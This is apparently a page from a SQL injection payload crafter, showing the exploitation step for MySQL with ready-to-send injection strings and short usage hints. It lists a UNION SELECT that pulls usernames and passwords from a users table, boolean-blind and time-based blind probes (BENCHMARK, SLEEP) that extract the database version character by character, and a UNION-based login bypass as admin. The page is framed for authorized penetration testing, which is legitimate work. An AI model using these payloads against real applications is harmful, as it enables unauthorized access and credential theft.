SQL Injection Payloads· SQLi Payload Crafter

Step-by-step injection playbook — authorized testing only

PayloadsBlog
DBMS MySQL / MariaDB·Context single-quote string·Techniques 8 enabled
31 total payloads

Step 3 — Exploitation

Demonstrate impact with the cheapest technique that fits

Reflective output → UNION. Errors leak → error-based. Silent → boolean, then time-based.

What to look for

  • UNION: target value reflected in HTML or JSON
  • Error-based: version(), database(), or table names in error text
  • Boolean blind: stable difference between true and false conditions
  • Time-based: response delay matching your sleep setting
  • Auth bypass: login without valid credentials

If this fails

Payloads to send

17 in this step

UNION-based

UNION SELECT exfil

UNION-based

' UNION SELECT username, password FROM users LIMIT 1-- 

Column count must match original query. Reflect column 1 in the app response.

PayloadsAllTheThings reference

Error-based

Boolean blind

Target char (ASCII)

Boolean blind

' AND ASCII(SUBSTRING(VERSION(),1,1))=104-- 

Binary search ASCII at position 1 (configured: 104).

PayloadsAllTheThings reference

Time-based blind

BENCHMARK delay

Time-based blind

' AND IF(SUBSTRING(VERSION(),1,1)='5',BENCHMARK(1000000,MD5(1)),0)-- 

Heavy query when condition is true.

PayloadsAllTheThings reference

Conditional time probe

Time-based blind

' AND (CASE WHEN (SUBSTRING(VERSION(),1,1))='5' THEN (SLEEP(5)) ELSE 0 END)-- 

Delay when char at position 1 equals 5.

PayloadsAllTheThings reference

Authentication bypass

UNION with MD5 hash

Authentication bypass

'admin' AND 1=0 UNION ALL SELECT 'admin', '161ebd7d45089b3446ee4e0d86dbcf92'-- 

UNION login as admin with hash 161ebd7d45089b3446ee4e0d86dbcf92 (password column).

PayloadsAllTheThings reference